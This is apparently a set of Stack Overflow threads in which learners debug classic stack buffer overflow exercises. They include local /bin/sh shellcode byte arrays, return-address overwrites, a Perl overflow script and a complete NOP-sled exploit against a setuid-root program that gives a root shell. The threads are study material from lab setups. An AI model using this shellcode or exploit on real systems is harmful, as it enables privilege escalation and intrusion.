Simple shellcode not working - c

I have the following code which is supposed to drop a shell, however, after I run the code nothing appears to happen. Here is the code that I have. This was taken from the shellcoder's handbook.
`
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}`
I compile it using gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
When I run it the following happens.
The expected result is the following.
Here is the code that produces the above results:
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = 0x0;
execve(name[0], name, 0x0);
exit(0);
}
I am not sure why this is happening. I am using Ubuntu on Windows 10. This might not effect my results but I have disabled ASLR. That might be an issue. I have not tried this on a VM just yet. I wanted to try and figure out why this is not working before I did that. If this is unclear please let me know and I will be happy to clarify any details.
I appreciate all of your help in advance.
--UPDATE--
I was able to get the assembly instructions from the shellcode I provided.
Does anyone see any issues that would cause a shell not to be dropped?

With the help of a colleague we were able to figure out why the shellcode was not executing. The shellcode is fine, the issue was actually an update to the gcc compiler which changes how the prolog/epilog are handled when code executes. When a program starts, the compiler-generated code puts the return address on the stack, but it does so using a new pattern. The executing program no longer uses the return addresses directly by popping it into the instruction pointer (IP). Instead, it pops the stack value into %ecx and then uses the contents at the address %ecx-4 (for 32-bit machines) as the return address. Therefore, the way I was trying to do it was never going to work even with the protections turned off. This behavior only affects main() and not functions called by main. So a simple solution would be to place the contents of main into another function foo() and call foo() from main() as depicted below.
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void foo()
{
int *ret;
ret = (int *)&ret + 4;
(*ret) = (int)shellcode;
}
int main()
{
foo();
}
Here is a question that is related to this answer.
Understanding new gcc prologue

There are couple of things that could go wrong here:
The store of the shell code address is optimized away because it is derived from a stack variable, and nothing reads from the stack afterwards.
The store is optimized away because it is out of bounds.
The offset calculation from the local variable is wrong, so the shellcode address does not overwrite the return address. (This is what happens when I compile your example.)
The execution is redirect, but the shellcode does not run because it is located in the non-executable .data segment. (That would cause the process to terminate with a signal, though).

Related

Cant exploit overflow in simple program (chapter2 shellcoder's handbook)

I am reading The shellcoder's Handbook and im currently at chapter 2 where i have a simple program to exploit by overflowing the expected input and then issuing a new location for the ret instruction so that the function return_input can be executed twice !
Here is the simple program made in C
void return_input (void)
{
char array[30];
gets (array);
printf(“%s\n”, array);
}
main()
{
return_input();
return 0;
}
And this is the disassembled version of the main fucntion where we can see the jump adress of the call function.
I use the following command and input the chars that overflow with the adress following them that should replace ret's content
But as you can see i do not run the return_input function twice instead it just prints out a question mark and says segmentation failed
gets read terminating byte in and replaced it with NULL byte and thus your desired ret was broken with that NULL byte.
The offset you saw in disassembly codes is NOT the real address, you compiled the program with PIE flag set so the real address may look like 0x55555????58a, that's why gdb didn't allow you to insert a break point because you might try to do b *0x58a or something. Compile with -no-pie would make life easier.

Experimenting with buffer overflow

I recently took a security class in which we briefly touched on buffer overflow. I wasn't satisfied with what we covered, so I looked for a few examples to follow along with and try myself and found Buffer Overflow Attack
I like this example as it is easy to follow and understand why everything works. I tried to follow along, but in a Debian virtual machine instead of Windows.
This is the C code from the site:
#pragma check_stack(off)
#include <string.h>
#include <stdio.h>
void foo(const char* input)
{
char buf[10];
printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n");
strcpy(buf, input);
printf("%s\n", buf);
printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
}
void bar(void)
{
printf("Augh! I've been hacked!\n");
}
int main(int argc, char* argv[])
{
//Blatant cheating to make life easier on myself
printf("Address of foo = %p\n", foo);
printf("Address of bar = %p\n", bar);
if (argc != 2)
{
printf("Please supply a string as an argument!\n");
return -1;
}
foo(argv[1]);
return 0;
}
The code "cheats" by giving the addresses of the two functions foo and bar. The ultimate goal is to get bar to run using only buffer overflow. To do this, they gave a short Perl script:
$arg = "ABCDEFGHIJKLMNOP"."\x50\x10\x40";
$cmd = "StackOverrun ".$arg;
system($cmd);
Since I'm using Linux instead of Windows, and since the address of my bar function was slightly different, I made a couple of simple fixes:
$arg = "ABCDEFGHIJKLMNOP"."\xf7\x05\x40";
$cmd = "./prog ".$arg;
system($cmd);
I would think that it should work the same way as it did in their example; the Perl script is run and it gives the filler text to the program, followed by the new return address to run bar. But it doesn't work for me.
This is the output from running my Perl script:
Address of foo: 0x400596
Address of bar: 0x4005f7
The current stack:
0x7fffe6b4abd8
0x7faba670c7a0
0x1d
0x6
0x7faba63b099a
0x7fffe6b4ad00
ABCDEFGHIJKLMNOPP�
Stack after input:
0x7ffc31998568
0x7f9a7c6ed7a0
0x7f9a7c421e50
0xf70550504f4e4d4c
0x7f9a7c39199a
0x7ffc31998690
In my output, the only address that appears to hold any of the filler text is the third from the last address, the one immediately before the return address.
I suspect the issue comes from using gcc to compile my program, but I'm not sure what exactly is causing it. The issue may also be Debian. Here's how I compiled the program:
gcc -z execstack -fno-stack-protector prog.c -o prog
My hope was that compiling without the stack protector would allow me to follow the example without issues.
Any help would be great, I'm completely stuck. Realistically I could simply switch to Windows, but at this point I really want to know why it won't work and how to fix it.
Alright so I'm going to answer my own question here, just in case anyone who views it in the future is curious.
Essentially the problem stemmed from not printing enough memory addresses to get a clear picture of the stack. If you followed along with the link in the question you'd see that printing 6 memory addresses of the stack was enough for their system, but it wasn't enough for ours. My friend proposed changing the source code from this:
printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n");
strcpy(buf, input);
printf("%s\n", buf);
printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
to this:
printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
strcpy(buf, input);
printf("Buffer: %s\n", buf);
printf("Address of Buffer: %p\n\n", buf);
printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
This change does two things for us. First, it increases the amount of addresses printed to 13. Second, it prints the address that the buffer starts at. The second part is important as it gives us a relative value to look for in the stack addresses given. Example:
overflow#OVERFLOW:~/Overflow$ ./prog ZZZZZZ
Address of foo = 0x400596
Address of bar = 0x400601
Current Stack:
0x7fffffe6
0x7f30b7f8a7a0
0x19
0x6
0x7f30b7c2e99a
0x4007c8
0x7ffddab72653
0x7f30b7f9cde0
0x7f30b81b01a8
0x7ffddab71250
0x400672
0x7ffddab71338
0x200000000
Buffer: ZZZZZZ
Address of Buffer: 0x7ffddab71220
Stack after Input:
0x7fffffde
0x7f30b7f8a7a0
0x21
0xc
0x7f30b7c2e99a
0x4007c8
0x7ffddab72653
0x5a5a5a5a5a5a
0x7f30b81b01a8
0x7ffddab71250
0x400672
0x7ffddab71338
0x200000000
In this example we can see Address of Buffer: 0x7ffddab71220. If we look through the stack addresses below it, we find one very similar: 0x7ffddab72653. We can think of this as a starting point for the buffer, so that the following few addresses will be the storage containers of the buffer. In fact, in this example I printed "ZZZZZZ" to the buffer, and you can see the address immediately following our starting point has changed to 0x5a5a5a5a5a5a which, you may have guessed, is "ZZZZZZ" in hex.
Great, so now we know where the buffer actually starts, but we don't know which is the return address. If we look at the addresses of the functions:
Address of foo = 0x400596 and Address of bar = 0x400601
We can find a similar value somewhere below the starting point of our buffer, in this case: 0x400672.
At this point we know all we need to: which memory addresses store the buffer, the address of the function we want to call, and most importantly the return address we want to overwrite. At that point it is a matter of experimenting with the perl script, adding characters to the buffer until we get the desired result.

Copy function to executable page and call

Im trying to copy a function i have to an executable page and run it from there, but i seem to be having some problems.
Here is my code:
#include <stdio.h>
#include <string.h>
#include <windows.h>
int foo()
{
return 4;
}
int goo()
{
return 5;
}
int main()
{
int foosize = (int)&goo-(int)&foo;
char* buf = VirtualAlloc(NULL, foosize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buf == NULL)
{
printf("Failed\n");
return 1;
}
printf("foo %x goo %x size foo %d\n", &foo, &goo, foosize);
memcpy (buf, (void*)&foo, foosize);
int(*f)() = &foo;
int ret1 = f();
printf("ret 1 %d\n", ret1);
int(*f2)() = (int(*)())&buf;
int ret2 = f2 (); // <-- crashes here
printf("ret2 %d\n", ret2);
return 0;
}
I know some of the code is technically UB ((int)&goo-(int)&foo), but it behaves fine in this case.
My question is why is this not working as expected?
It seems to me i mapped a page as executable and copied an existing function there and im just calling it.
What am i missing?
Would this behave differently on linux with mmap?
Thanks in advance
As everyone has already stated in comments, this is totally undefined behavior and should never really expect to work. However, I played with your code some with the debugger and realized the reason it's not working (at least in Cygwin gcc compiler) is you're creating f2 incorrectly to point to the the address of the pointer storing the allocated memory, namely buf. You want to point to the memory that buf points to. Therefore, your assignment should be
int(*f2)() = (int(*)())buf;
With that change, your code executes for me. But even if it works, it might break again as soon as you make any additional changes to the program.
Well I made a try of your code with MVSC 2008 in debug mode. Compiler happens to create a jmp table with relative offsets, and &foo and &goo are just entries in that table.
So even if you have successfully created an executable buffer and copied the code (much more than was useful...) the relative jump now points to a different location and (in my example) soon fell in a int 3 trap!
TL/DR: as compiler can arrange its code at will, and as many jump use relative offsets, you cannot rely on copying executable code. It is really Undefined Behaviour:
if compiler had been smart enough to just generate something like :
mov AX, 4
ret
it could have worked
if compiler has generated more complicated code with a relative jump it just breaks
Conclusion: you can only copy executable code if you have full control on the binary machine code for example if you used assembly code and know you will have no relocation problem
You need to declare foo and goo as static or will have to disable Incremental Linking.
Incremental linking is used to shorten the linking time when building your applications, the difference between normally and incrementally linked executables is that in incrementally linked ones each function call goes through an extra JMP instruction emitted by the linker.
These JMPs allow the linker to move the functions around in memory without updating all the CALL instructions that reference the function. But it's exactly this JMP that causes problems in your case. Declaring a function as static prevents the linker from creating this extra JMP instruction.

buffer overflow exploit change function call

I am trying to perform a buffer overflow to change the call from function A to function B. Is this do-able? I know I will have to figure out how many bytes I have to enter until I have control over the return pointer, and figure out the address of function B. Is it possible to alter it so that after "x==10" we inject function B's address instead of functionA?
Edit:
Is it possible that after fillbuff is called, instead of returning to main, we send it to function B?
Any hints is appreciated.
int fillBuff(int x){
char buff[15];
puts("Enter your name");
gets(buff);
return(x + 5);
}
void functionA(){
puts("I dont want to be here");
exit(0);
}
void functionB(){
printf("I made it!");
exit(0);
}
int main(){
int x;
x = fillbuff(5);
if (x == 10){
functionA();
}
}
Here is an article that shows how to do it: http://insecure.org/stf/smashstack.html.
Compile your program like this: gcc -g -c program.c (with the -g)
and run gdb ./a.out. After, run the command disas main. You should see the disassemble of your code and how it is organized in your memory. You can replace the main function to any other function and see its code.
For more information about disassemble see: https://sourceware.org/gdb/onlinedocs/gdb/Machine-Code.html
Running GDB and disassembling the functions on my computer, the address of functionA() is 0x400679 and the address of functionB() is 40068a. If you see the disassemble code of main function, there is a call to the address 0x400679, and what you want is to change it to 40068a.
Basically, you have to overflow the buffer in function fillBuff and after reaching the space of the pointer, you have to fill with the address. The article shows how to do it.
Buffer overflows are undefined behavior in C. Nothing is guaranteed to occur when you buffer overflow, and as far as I'm aware the language doesn't require a specific memory layout for local variables and/or stored return addresses. In addition to this, some compilers insert stack protectors to make buffer overflow attacks more difficult.
If you want to have defined behavior, you are going to need to look at the assembly produced and figure out what a buffer overflow is going to do. Based on the assembly produced, you can determine the stack layout and the address layout and try to overwrite the return address with a different function's address.
If you're using GCC, the command line option to print out the assembly is -Wa,-al. If you want Intel syntax, add -masm=intel.

Buffer Overflow esp offset

I'm a computer engineering student who is studying how stack buffer overflows work. The book I'm reading is The Art of Exploitation (1st edition) by Jon Erickson.
In order to practice what I'm studying I've installed Damn Vulnerable Linux distribution in a virtual machine. I've disabled ASRL (kernel.randomize_va_space = 0), I've compiled the following codes with GCC 3.4.6, I'm using GDB 6.6 and the kernel of the distribution is 2.6.20. My computer has an Intel processor.
The vulnerable program (test2) is created by root and is set as setuid.
The vulnerable code is the following:
//test2.c
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
While the exploit code, created by normal (non root) user, is the following:
//main.c
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long sp(void)
{
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer2, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);
buffer2 = malloc(600);
ptr = buffer2;
addr_ptr = (long *)ptr;
for (i = 0; i < 600; i += 4)
{
*(addr_ptr++) = ret;
}
for (i = 0; i < 200; i++)
{
buffer2[i] = '\x90';
}
ptr = buffer2 + 200;
for (i = 0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}
buffer2[600 - 1] = 0;
execl("/root/workspace/test2/Release/test2", "test2", buffer2, 0);
free(buffer2);
return 0;
}
The program works, it exploits the buffer overflow vulnerability in test2 and gives me a root shell.
What I don't understand, even after reading the book several times and trying to find answers on the internet, is why the value of the stack pointer that we store in the variable esp is the return address of our shellcode. I've disassembled the program with GDB and everything works as the author says but I don't understand why this happens.
I would have liked to show you how the disassembled program looked like and how the memory looked like during execution, but I cannot copy/paste from the guest machine on the virtual machine and I'm not allowed to insert images in my question. So I can only try to describe what happens during execution of the program main (the one that exploits the BOF in test2):
disassembling main, I see that 28 bytes are allocated on the stack (7 variables * 4 bytes). Then the function sp() is called and the value of the stack pointer is stored in esp. The value stored in the variable esp is 0xbffff344. Then, as you can see, we have some printf, we store the payload in buffer2 and then we call the execl function passing buffer2 as an argument.
now the root shell shows up and then the program exits. Disassembling the program after setting a different offset, I can clearly see that 0xbffff344 is precisely the address where the payload is stored when test2 is executed. Could you explain me how does this happen? Does execl sets a new stack frame for the test2 program? In main.c only 28 bytes are allocated on the stack, while in test2 500 bytes are allocated on the stack (for buffer2). So how do I know that the stack pointer that i get in main.c is precisely the return address of the shellcode?
I thank you and apologize if I wrote some stupid things.
Could you explain me how does this happen?
When ASLR is disabled every executable starts at the same address, so given the stack pointer you are able to guess the required offset to find your buffer location in test2. This is also where the NOP sled becomes useful, since it give you multiple possible hit if the offset is not the exact displacement to the shellcode.
That being said the fact the the value of ESP in the main function of your exploit program IS the location of the executed buffer in test2 seems incorrect. Are you sure you just don't misinterpreted gdb results?
You should be able to compute the offset of the buffer using the following : esp - 500 + 28.
Note that you should always wear gloves when using such formula : how the compiler handles locals, (size, order, etc) can vary.
So how do I know that the stack pointer that i get in main.c is precisely the return address of the shellcode?
Well You don't. It depends of the machine, how the program was compiled etc.
Does execl sets a new stack frame for the test2 program?
From the execve man pages :
The exec family of functions shall replace the current process image
with a new process image. The new image shall be constructed from a
regular, executable file called the new process image file. There
shall be no return from a successful exec, because the calling process
image is overlaid by the new process image.
The stack is overridden by a new one for test2.
Hope it helps :)

Resources